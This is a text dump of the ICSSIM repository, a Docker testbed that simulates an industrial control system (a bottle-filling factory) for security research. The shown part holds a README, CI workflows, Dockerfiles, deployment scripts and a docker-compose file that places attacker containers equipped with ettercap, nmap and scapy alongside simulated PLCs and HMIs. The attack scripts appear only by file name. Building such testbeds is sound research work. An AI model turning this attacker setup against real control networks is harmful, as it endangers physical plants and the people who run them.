├── .github
└── workflows
│ ├── documentation.yml
│ └── python-app.yml
├── .gitignore
├── .idea
├── ICSSIM.iml
├── inspectionProfiles
│ └── profiles_settings.xml
├── misc.xml
├── modules.xml
└── vcs.xml
├── Images
├── Latency.png
├── Latency_plc1_Response.png
├── Latency_plc1_loop.png
├── Screenshot from 2021-11-26 17-23-54.png
├── Screenshot from 2021-12-02 12-03-55.png
├── architecture.png
├── architecture_prudue.png
├── class_diagram.png
├── hmi1.png
├── latency_log.png
├── latency_moving_average.png
├── mitm.png
├── mitm_1.png
├── mitm_2.png
├── mitm_a.png
├── mitm_b.png
├── mitm_normal.png
├── physical_process.png
├── sample_architecture.png
├── scan_nmap1.png
├── scan_nmap2.png
└── wireshark.png
├── LICENSE
├── README.md
├── deployments
├── GNS3
│ └── ICSSIM-GNS3-Portable.gns3project
├── attacker-docker
│ └── Dockerfile
├── bash.sh
├── docker-compose.yml
├── ics-docker
│ └── Dockerfile
├── init.sh
├── init_sniff.sh
├── monitor-component.sh
├── start.sh
└── stop.sh
├── doc
├── Makefile
├── another-feature.md
├── api.md
├── conf.py
├── example.py
├── icssim.md
├── index.rst
├── make.bat
├── readme-copy.md
├── sample.md
└── some-feature.md
└── src
├── .Configs.py.swp
├── .idea
├── .gitignore
├── inspectionProfiles
│ └── profiles_settings.xml
├── misc.xml
├── modules.xml
├── src.iml
└── vcs.xml
├── Attacker.py
├── AttackerBase.py
├── AttackerMachine.py
├── AttackerRemote.py
├── CommandInjectionAgent.py
├── Configs.py
├── DDosAgent.py
├── FactorySimulation.py
├── HMI1.py
├── HMI2.py
├── HMI3.py
├── MQTTSampleConnection.txt
├── MqttHelper.py
├── PLC1.py
├── PLC2.py
├── attacks
├── command-injection.sh
├── ddos.sh
├── mitm-ettercap.sh
├── mitm-scapy.sh
├── mitm
│ ├── ettercap-packets.pcap
│ ├── mitm (copy).ecf
│ ├── mitm-INT-42.ecf
│ ├── mitm.ecf
│ ├── mitm.ef
│ └── mitm.sh
├── replay-scapy.sh
├── scan-ettercap.sh
├── scan-nmap.sh
├── scan-ping.sh
└── scan-scapy.sh
├── ics_sim
├── Attack
│ └── __pycache__
│ │ ├── ModbusCommand.cpython-310.pyc
│ │ ├── ModbusPackets.cpython-310.pyc
│ │ └── NetworkNode.cpython-310.pyc
├── Attacks.py
├── Device.py
├── ModbusCommand.py
├── ModbusPackets.py
├── NetworkNode.py
├── ScapyAttacker.py
├── configs.py
├── connectors.py
├── helper.py
└── protocol.py
├── logs
└── attack-logs
│ └── .gitignore
├── start.py
├── start.sh
├── storage
└── .gitignore
└── tests
├── connectionTests.py
├── modbusBaseTest.py
└── storage
└── PhysicalSimulation1.sqlite
/.github/workflows/documentation.yml:
--------------------------------------------------------------------------------
1 | name: documentation
2 |
3 | on: [push, pull_request, workflow_dispatch]
4 |
5 | permissions:
6 | contents: write
7 |
8 | jobs:
9 | docs:
10 | runs-on: ubuntu-latest
11 | steps:
12 | - uses: actions/checkout@v3
13 | - uses: actions/setup-python@v3
14 | - name: Install dependencies
15 | run: |
16 | pip install sphinx sphinx_rtd_theme myst_parser
17 | - name: Sphinx build
18 | run: |
19 | sphinx-build doc _build
20 | - name: Deploy to GitHub Pages
21 | uses: peaceiris/actions-gh-pages@v3
22 | if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' }}
23 | with:
24 | publish_branch: gh-pages
25 | github_token: ${{ secrets.GITHUB_TOKEN }}
26 | publish_dir: _build/
27 | force_orphan: true
28 |
--------------------------------------------------------------------------------
/.github/workflows/python-app.yml:
--------------------------------------------------------------------------------
1 | # This workflow will install Python dependencies, run tests and lint with a variety of Python versions
2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python
3 |
4 | name: Python package
5 |
6 | on:
7 | push:
8 | branches: [ "main" ]
9 | pull_request:
10 | branches: [ "main" ]
11 |
12 | jobs:
13 | build:
14 | permissions:
15 | contents: read
16 | pull-requests: write
17 |
18 | runs-on: ubuntu-latest
19 |
20 | steps:
21 | - uses: actions/checkout@v3
22 | - name: Set up Python 3.10
23 | uses: actions/setup-python@v3
24 | with:
25 | python-version: "3.10"
26 | - name: Install dependencies
27 | run: |
28 | python -m pip install --upgrade pip
29 | python -m pip install flake8 pytest pytest-cov
30 | if [ -f requirements.txt ]; then pip install -r requirements.txt; fi
31 | - name: Lint with flake8
32 | run: |
33 | # stop the build if there are Python syntax errors or undefined names
34 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
35 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
36 | flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
37 | - name: Test with pytest and calculate coverage
38 | run: |
39 | python -m pytest --cov-report "xml:coverage.xml" --cov=./src
40 | - name: Create Coverage
41 | if: ${{ github.event_name == 'pull_request' }}
42 | uses: orgoro/coverage@v3
43 | with:
44 | coverageFile: coverage.xml
45 | token: ${{ secrets.GITHUB_TOKEN }}
46 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | src/__pycache__
2 | src/ics_sim/__pycache__
3 | src/.idea
4 | src/.idea/
5 | commit/
6 | deployments/traffic.pcap
7 | deployments/push-attacker-docker.sh
8 | deployments/push-ics-docker.sh
9 | .idea
10 | .idea/
11 | src/Connection.txt
12 | src/logs/*
13 | !src/logs/attack-logs/
14 | src/logs/attack-logs/*
15 | !src/logs/attack-logs/.gitignore
16 | src/storage/*
17 | !src/storage/.gitignore
18 |
19 |
20 |
--------------------------------------------------------------------------------
/.idea/ICSSIM.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/.idea/inspectionProfiles/profiles_settings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Images/Latency.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/Latency.png
--------------------------------------------------------------------------------
/Images/Latency_plc1_Response.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/Latency_plc1_Response.png
--------------------------------------------------------------------------------
/Images/Latency_plc1_loop.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/Latency_plc1_loop.png
--------------------------------------------------------------------------------
/Images/Screenshot from 2021-11-26 17-23-54.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/Screenshot from 2021-11-26 17-23-54.png
--------------------------------------------------------------------------------
/Images/Screenshot from 2021-12-02 12-03-55.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/Screenshot from 2021-12-02 12-03-55.png
--------------------------------------------------------------------------------
/Images/architecture.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/architecture.png
--------------------------------------------------------------------------------
/Images/architecture_prudue.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/architecture_prudue.png
--------------------------------------------------------------------------------
/Images/class_diagram.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/class_diagram.png
--------------------------------------------------------------------------------
/Images/hmi1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/hmi1.png
--------------------------------------------------------------------------------
/Images/latency_log.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/latency_log.png
--------------------------------------------------------------------------------
/Images/latency_moving_average.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/latency_moving_average.png
--------------------------------------------------------------------------------
/Images/mitm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/mitm.png
--------------------------------------------------------------------------------
/Images/mitm_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/mitm_1.png
--------------------------------------------------------------------------------
/Images/mitm_2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/mitm_2.png
--------------------------------------------------------------------------------
/Images/mitm_a.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/mitm_a.png
--------------------------------------------------------------------------------
/Images/mitm_b.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/mitm_b.png
--------------------------------------------------------------------------------
/Images/mitm_normal.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/mitm_normal.png
--------------------------------------------------------------------------------
/Images/physical_process.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/physical_process.png
--------------------------------------------------------------------------------
/Images/sample_architecture.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/sample_architecture.png
--------------------------------------------------------------------------------
/Images/scan_nmap1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/scan_nmap1.png
--------------------------------------------------------------------------------
/Images/scan_nmap2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/scan_nmap2.png
--------------------------------------------------------------------------------
/Images/wireshark.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/wireshark.png
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) CodeRefinery
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | # ICSSIM
3 | This is the ICSSIM source code and user manual for simulating industrial control system testbed for cybersecurity experiments.
4 |
5 | The ICSSIM framework enables cyber threats and attacks to be investigated and mitigated by building a virtual ICS security testbed customized to suit their needs. As ICSSIM runs on separate private operating system kernels, it provides realistic network emulation and runs ICS components on Docker container technology.
6 |
7 | ICSSIM can also be used to simulate any other open-loop controlling process, such as bottle filling, and allows us to build a testbed for any open-loop controlling process.
8 |
9 | # Sample Bottle Filling Factory
10 | A water tank repository is used to fill bottles during the bottle-filling factory control process. The below figure shows the overall scenario including process and hardware. The proposed control process consists of two main hardware zones, each managed by a standalone PLC, called PLC-1 and PLC-2. The water tank and valves are controlled by PLC-1. The conveyor belts are controlled by PLC-2 to switch out filled bottles with empty ones.
11 |
12 | 
13 | An overview of the bottle filling factory network architecture is presented below. In the proposed network architecture, the first three layers of the Purdue reference architecture are realized. In Docker container technology, shared memory is used to implement the hard wired connection between Tiers 1 and 2. To simulate the network between Tiers 2 and 3, a Local Area Network (LAN) is created in a simulation environment. The attacker is also assumed to have access to this network as a malicious HMI, therefore we consider this node as an additional attacker in this architecture.
14 |
15 |
16 | 
17 |
18 | # Run a Sample Bottle Filling Factory
19 |
20 | ## Run in Docker container Environement
21 |
22 | ### Pre steps
23 | Make sure that you have already installed the following applications and tools.
24 |
25 | * git
26 | * Docker
27 | * Docker-Compose
28 |
29 | ### Getting ICSSIM and the sample project
30 | Clone The probject into your local directory using following git command.
31 | ```
32 | git clone https://github.com/AlirezaDehlaghi/ICSSIM ICSSIM
33 | ```
34 |
35 | check the file [Configs.py](src/Configs.py) and make sure that EXECUTION_MODE varibale is set to EXECUTION_MODE_DOCKER as follow:
36 | ```
37 | EXECUTION_MODE = EXECUTION_MODE_DOCKER
38 | ```
39 |
40 | ### Running the sample project
41 | Run the sample project using the prepared script
42 | [init.sh](deployments/init.sh)
43 | ```
44 | cd ICSSIM/deployments
45 | ./init.sh
46 | ```
47 | ### Check successful running
48 | If *init.sh* commands runs to the end, it will show the status of all containers. In the case that all containers are 'Up', then project is running successfully.
49 | You could also see the status of containers with following command:
50 | ```
51 | sudo docker-compose ps
52 | ```
53 |
54 | ### Operating the control system and apply cyberattacks
55 | In the directory [deployments](deployments/) there exist some scripts such as [hmi1.sh](deployments/hmi1.sh), [hmi2.sh](deployments/hmi2.sh) or [attacker.sh](deployments/attacker.sh) which can attach user to the container.
56 |
57 | ## Run in GNS3
58 | To run the ICSSIM and the sample Bottle Filling factory clone the prject and use the portable GNS3 file to create a new project in GNS3.
59 |
60 | ### Getting ICSSIM and the sample project
61 | Clone The probject into your local directory using following git command.
62 | ```
63 | git clone https://github.com/AlirezaDehlaghi/ICSSIM ICSSIM
64 | ```
65 |
66 | ### Import Project in GNS3
67 | Import the portable project ([deployments/GNS3/ICSSIM-GNS3-Portable.gns3project](deployments/GNS3/ICSSIM-GNS3-Portable.gns3project)) using menu **File->Import Portable Project**
68 |
69 | ## RUN as a single Python project
70 |
71 | ### Pre steps
72 | Make sure that you have already installed the following applications and tools.
73 |
74 | * git
75 | * Python
76 | * pip
77 |
78 | Make sure that you installed required packages: pyModbusTCP, memcache
79 | ```
80 | pip install pyModbusTCP
81 | pip install memcache
82 |
83 | ```
84 |
85 |
86 | ### Getting ICSSIM and the sample project
87 | Clone The probject into your local directory using following git command.
88 | ```
89 | git clone https://github.com/AlirezaDehlaghi/ICSSIM ICSSIM
90 | ```
91 |
92 | check the file [Configs.py](src/Configs.py) and make sure that EXECUTION_MODE varibale is set to EXECUTION_MODE_DOCKER as follow:
93 | ```
94 | EXECUTION_MODE = EXECUTION_MODE_LOCAL
95 | ```
96 |
97 | ### Running the sample project
98 | Run the sample project using the running start.py
99 | ```
100 | cd ICSSIM/src
101 | python3 start.py
102 | ```
103 |
--------------------------------------------------------------------------------
/deployments/GNS3/ICSSIM-GNS3-Portable.gns3project:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/deployments/GNS3/ICSSIM-GNS3-Portable.gns3project
--------------------------------------------------------------------------------
/deployments/attacker-docker/Dockerfile:
--------------------------------------------------------------------------------
1 | #FROM kalilinux/kali-rolling
2 | FROM ubuntu:20.04
3 |
4 | RUN mkdir src
5 |
6 | COPY ./src/ ./src/
7 |
8 |
9 | RUN apt-get update
10 |
11 | RUN DEBIAN_FRONTEND="noninteractive" apt-get install -y tzdata
12 |
13 | RUN apt-get update \
14 | && apt-get install -y sudo \
15 | && apt-get install -y python3 \
16 | && apt-get install -y iputils-ping \
17 | && apt-get install -y net-tools \
18 | && apt-get install -y git \
19 | && apt-get install -y nano \
20 | && apt-get install -y python3-pip \
21 | && pip install pyModbusTCP \
22 | && apt-get install -y telnet \
23 | && apt-get install -y memcached \
24 | && apt-get install -y python3-memcache \
25 | && apt-get install -y ettercap-common \
26 | && apt-get install -y nmap \
27 | && apt-get install -y python3-scapy \
28 | && pip install paho-mqtt
29 |
30 | WORKDIR /src
31 |
32 | #memcached -d -u nobody memcached -l 127.0.0.1:11211,10.5.0.3
33 |
34 |
35 | #COPY ./start.sh ./start.sh
36 |
--------------------------------------------------------------------------------
/deployments/bash.sh:
--------------------------------------------------------------------------------
1 |
2 | sudo docker-compose exec $1 bash
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/deployments/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.9"
2 | services:
3 | pys:
4 | build: ics-docker/.
5 | privileged: true
6 | working_dir: /src
7 | entrypoint: ["./start.sh", "FactorySimulation.py"]
8 | container_name: pys
9 | volumes:
10 | - ../src:/src
11 | - "/etc/timezone:/etc/timezone:ro"
12 | - "/etc/localtime:/etc/localtime:ro"
13 | networks:
14 | fnet:
15 | ipv4_address: 192.168.1.31
16 |
17 | plc1:
18 | build: ics-docker/.
19 | privileged: true
20 | working_dir: /src
21 | entrypoint: ["./start.sh", "PLC1.py"]
22 | container_name: plc1
23 | volumes:
24 | - ../src:/src
25 | - "/etc/timezone:/etc/timezone:ro"
26 | - "/etc/localtime:/etc/localtime:ro"
27 | networks:
28 | wnet:
29 | ipv4_address: 192.168.0.11
30 | fnet:
31 | ipv4_address: 192.168.1.11
32 |
33 |
34 | plc2:
35 | build: ics-docker/.
36 | #stdin_open: true # docker run -i
37 | #tty: true
38 | privileged: true
39 | working_dir: /src
40 | entrypoint: ["./start.sh", "PLC2.py"]
41 | container_name: plc2
42 | volumes:
43 | - ../src:/src
44 | - "/etc/timezone:/etc/timezone:ro"
45 | - "/etc/localtime:/etc/localtime:ro"
46 | networks:
47 | wnet:
48 | ipv4_address: 192.168.0.12
49 | fnet:
50 | ipv4_address: 192.168.1.12
51 |
52 | hmi1:
53 | build: ics-docker/.
54 | stdin_open: true # docker run -i
55 | tty: true
56 | working_dir: /src
57 | privileged: true
58 | entrypoint: ["./start.sh", "HMI1.py"]
59 | container_name: hmi1
60 | volumes:
61 | - ../src:/src
62 | - "/etc/timezone:/etc/timezone:ro"
63 | - "/etc/localtime:/etc/localtime:ro"
64 | networks:
65 | wnet:
66 | ipv4_address: 192.168.0.21
67 |
68 | hmi2:
69 | build: ics-docker/.
70 | stdin_open: true # docker run -i
71 | tty: true
72 | privileged: true
73 | working_dir: /src
74 | entrypoint: ["./start.sh", "HMI2.py"]
75 | container_name: hmi2
76 | volumes:
77 | - ../src:/src
78 | networks:
79 | wnet:
80 | ipv4_address: 192.168.0.22
81 |
82 |
83 | hmi3:
84 | build: ics-docker/.
85 | stdin_open: true # docker run -i
86 | tty: true
87 | privileged: true
88 | working_dir: /src
89 | entrypoint: ["./start.sh", "HMI3.py"]
90 | container_name: hmi3
91 | volumes:
92 | - ../src:/src
93 | - "/etc/timezone:/etc/timezone:ro"
94 | - "/etc/localtime:/etc/localtime:ro"
95 | networks:
96 | wnet:
97 | ipv4_address: 192.168.0.23
98 |
99 |
100 | attacker:
101 | build: attacker-docker/.
102 | stdin_open: true # docker run -i
103 | privileged: true
104 | tty: true
105 | working_dir: /src
106 | entrypoint: ["./start.sh", "Attacker.py"]
107 | container_name: attacker
108 | volumes:
109 | - ../src:/src
110 | - "/etc/timezone:/etc/timezone:ro"
111 | - "/etc/localtime:/etc/localtime:ro"
112 |
113 | networks:
114 | wnet:
115 | ipv4_address: 192.168.0.42
116 |
117 | attacker2:
118 | build: attacker-docker/.
119 | stdin_open: true # docker run -i
120 | privileged: true
121 | tty: true
122 | working_dir: /src
123 | entrypoint: ["./start.sh", "AttackerMachine.py"]
124 | container_name: attackermachine
125 | volumes:
126 | - ../src:/src
127 | - "/etc/timezone:/etc/timezone:ro"
128 | - "/etc/localtime:/etc/localtime:ro"
129 | networks:
130 | wnet:
131 | ipv4_address: 192.168.0.41
132 |
133 | attackerremote:
134 | build: attacker-docker/.
135 | stdin_open: true # docker run -i
136 | privileged: true
137 | tty: true
138 | working_dir: /src
139 | entrypoint: [ "./start.sh", "AttackerRemote.py" ]
140 | container_name: attackerremote
141 | volumes:
142 | - ../src:/src
143 | - "/etc/timezone:/etc/timezone:ro"
144 | - "/etc/localtime:/etc/localtime:ro"
145 | networks:
146 | wnet:
147 | ipv4_address: 192.168.0.43
148 |
149 |
150 | networks:
151 | wnet:
152 | driver: bridge
153 | name: icsnet
154 | ipam:
155 | config:
156 | - subnet: 192.168.0.0/24
157 | gateway: 192.168.0.1
158 | driver_opts:
159 | com.docker.network.bridge.name: br_icsnet
160 | fnet:
161 | driver: bridge
162 | name: phynet
163 | ipam:
164 | config:
165 | - subnet: 192.168.1.0/24
166 | gateway: 192.168.1.1
167 | driver_opts:
168 | com.docker.network.bridge.name: br_phynet
169 |
170 |
171 |
--------------------------------------------------------------------------------
/deployments/ics-docker/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:20.04
2 |
3 | RUN mkdir src
4 |
5 | COPY ./src/ ./src/
6 |
7 |
8 | RUN apt-get update
9 |
10 | RUN DEBIAN_FRONTEND="noninteractive" apt-get install -y tzdata
11 |
12 | RUN apt-get update \
13 | && apt-get install -y sudo \
14 | && apt-get install -y python3 \
15 | && apt-get install -y iputils-ping \
16 | && apt-get install -y net-tools \
17 | && apt-get install -y git \
18 | && apt-get install -y nano \
19 | && apt-get install -y python3-pip \
20 | && pip install pyModbusTCP \
21 | && apt-get install -y telnet \
22 | && apt-get install -y memcached \
23 | && apt-get install -y python3-memcache \
24 | && apt-get install -y ettercap-common \
25 | && apt-get install -y nmap
26 |
27 | WORKDIR /src
28 |
29 | #memcached -d -u nobody memcached -l 127.0.0.1:11211,10.5.0.3
30 |
31 |
32 | #COPY ./start.sh ./start.sh
33 |
--------------------------------------------------------------------------------
/deployments/init.sh:
--------------------------------------------------------------------------------
1 |
2 |
3 | printStep(){
4 | echo ""
5 | echo ""
6 | echo "[" $1 "STARTED]"
7 | sleep 1
8 | }
9 |
10 | printStep "DEPLOYMENT"
11 |
12 | printStep "DOWN PREVIOUS CONTAINERS"
13 | sudo docker-compose down
14 |
15 | printStep "CTEATE TEMP SRC FILE"
16 | sudo mkdir ./ics-docker/src/
17 | sudo mkdir ./attacker-docker/src/
18 |
19 | printStep "PRUNING DOCKER"
20 | sudo docker system prune -f
21 |
22 | printStep 'DOCKER_COMPOSE BUILD'
23 | sudo docker-compose build
24 |
25 | printStep "REMOVE TEMP SRC FILE"
26 | sudo rm -r ./ics-docker/src/
27 | sudo rm -r ./attacker-docker/src/
28 |
29 | printStep 'DOCKER_COMPOSE UP'
30 | sudo docker-compose up
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/deployments/init_sniff.sh:
--------------------------------------------------------------------------------
1 |
2 |
3 | printStep(){
4 | echo ""
5 | echo ""
6 | echo "[" $1 "STARTED]"
7 | sleep 1
8 | }
9 |
10 | printStep "DEPLOYMENT"
11 |
12 | printStep "DOWN PREVIOUS CONTAINERS"
13 | sudo docker-compose down
14 |
15 | printStep "CTEATE TEMP SRC FILE"
16 | sudo mkdir ./ics-docker/src/
17 | sudo mkdir ./attacker-docker/src/
18 |
19 | printStep "PRUNING DOCKER"
20 | sudo docker system prune -f
21 |
22 | printStep 'DOCKER_COMPOSE BUILD'
23 | sudo docker-compose build
24 |
25 | printStep "REMOVE TEMP SRC FILE"
26 | sudo rm -r ./ics-docker/src/
27 | sudo rm -r ./attacker-docker/src/
28 |
29 | printStep 'DOCKER_COMPOSE UP'
30 | sudo docker-compose up -d
31 |
32 | printStep 'DOCKER_COMPOSE UP'
33 | sudo docker-compose ps
34 |
35 | sudo tcpdump -w traffic.pcap -i br_icsnet
36 |
37 |
38 |
--------------------------------------------------------------------------------
/deployments/monitor-component.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Check Args #
4 |
5 | if [ $# != 1 ]; then
6 | echo "Need 1 Argument: ICS Component name."
7 |
8 | exit
9 | fi
10 |
11 |
12 | # Check Args Value
13 |
14 | if [ $1 = "plc1" ] || [ $1 = "plc2" ] || [ $1 = "hmi1" ] || [ $1 = "hmi2" ] || [ $1 = "hmi3" ] || [ $1 = "pys" ] || [ $1 = "attacker" ] || [ $1 = "attackermachine" ] || [ $1 = "attackerremote" ]
15 | then
16 | # Mian command
17 | sudo docker container attach $1
18 | else
19 | echo "ICS component <$1> is not recognizable! "
20 | echo "Acceptable ICS Compnents:
21 | plc1
22 | plc2
23 | hmi1
24 | hmi2
25 | hmi3
26 | pys
27 | attacker
28 | attackermachine
29 | attackerremote"
30 | fi
31 |
32 |
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/deployments/start.sh:
--------------------------------------------------------------------------------
1 |
2 |
3 | printStep(){
4 | echo ""
5 | echo ""
6 | echo "[" $1 "STARTED]"
7 | sleep 1
8 | }
9 |
10 | printStep 'DOCKER_COMPOSE UP'
11 | sudo docker-compose up -d
12 |
13 | printStep 'DOCKER_COMPOSE UP'
14 | sudo docker-compose ps
15 |
16 | sudo tcpdump -w traffic.pcap -i br_icsnet
17 |
18 |
19 |
--------------------------------------------------------------------------------
/deployments/stop.sh:
--------------------------------------------------------------------------------
1 |
2 |
3 | printStep(){
4 | echo ""
5 | echo ""
6 | echo "[" $1 "STARTED]"
7 | sleep 1
8 | }
9 |
10 | printStep "DOWN PREVIOUS CONTAINERS"
11 | sudo docker-compose down
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/doc/Makefile:
--------------------------------------------------------------------------------
1 | # Minimal makefile for Sphinx documentation
2 | #
3 |
4 | # You can set these variables from the command line, and also
5 | # from the environment for the first two.
6 | SPHINXOPTS ?=
7 | SPHINXBUILD ?= sphinx-build
8 | SOURCEDIR = .
9 | BUILDDIR = _build
10 |
11 | # Put it first so that "make" without argument is like "make help".
12 | help:
13 | @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O)
14 |
15 | .PHONY: help Makefile
16 |
17 | # Catch-all target: route all unknown targets to Sphinx using the new
18 | # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS).
19 | %: Makefile
20 | @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O)
21 |
--------------------------------------------------------------------------------
/doc/another-feature.md:
--------------------------------------------------------------------------------
1 | # More features here
2 |
3 |
4 | ## Some text
5 |
6 | (Under Construction)
7 |
8 | ICSSIM Documentation will be here!
9 |
10 |
11 | ## Table
12 |
13 | | No. | Prime |
14 | | ---- | ------ |
15 | | 1 | No |
16 | | 2 | Yes |
17 | | 3 | Yes |
18 | | 4 | No |
19 |
20 |
21 |
22 | ## Code blocks
23 |
24 | The following is a Python code block:
25 | ```python
26 | def hello():
27 | print("Hello world")
28 | ```
29 |
30 | And this is a C code block:
31 | ```c
32 | #include
33 | int main()
34 | {
35 | printf("Hello, World!");
36 | return 0;
37 | }
38 | ```
39 |
40 |
41 | ## Math
42 |
43 | This creates an equation:
44 | ```{math}
45 | a^2 + b^2 = c^2
46 | ```
47 |
48 | This is an in-line equation, {math}`a^2 + b^2 = c^2`, embedded in text.
49 |
--------------------------------------------------------------------------------
/doc/api.md:
--------------------------------------------------------------------------------
1 | # API reference
2 |
3 | This page is under construction!
4 |
5 | ## Config
6 |
7 | ```{eval-rst}
8 | .. autoclass:: Configs.Connection
9 | :imported-members:
10 | :members:
11 | :undoc-members:
12 | :show-inheritance:
13 | ```
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/doc/conf.py:
--------------------------------------------------------------------------------
1 | # Configuration file for the Sphinx documentation builder.
2 | #
3 | # For the full list of built-in configuration values, see the documentation:
4 | # https://www.sphinx-doc.org/en/master/usage/configuration.html
5 |
6 | # -- Project information -----------------------------------------------------
7 | # https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information
8 |
9 | import os
10 | import sys
11 | sys.path.insert(0, os.path.abspath("../src"))
12 |
13 | project = 'ICSSIM'
14 | copyright = 'Alireza Dehlaghi Ghadim'
15 | author = 'Alireza Dehlaghi Ghadim'
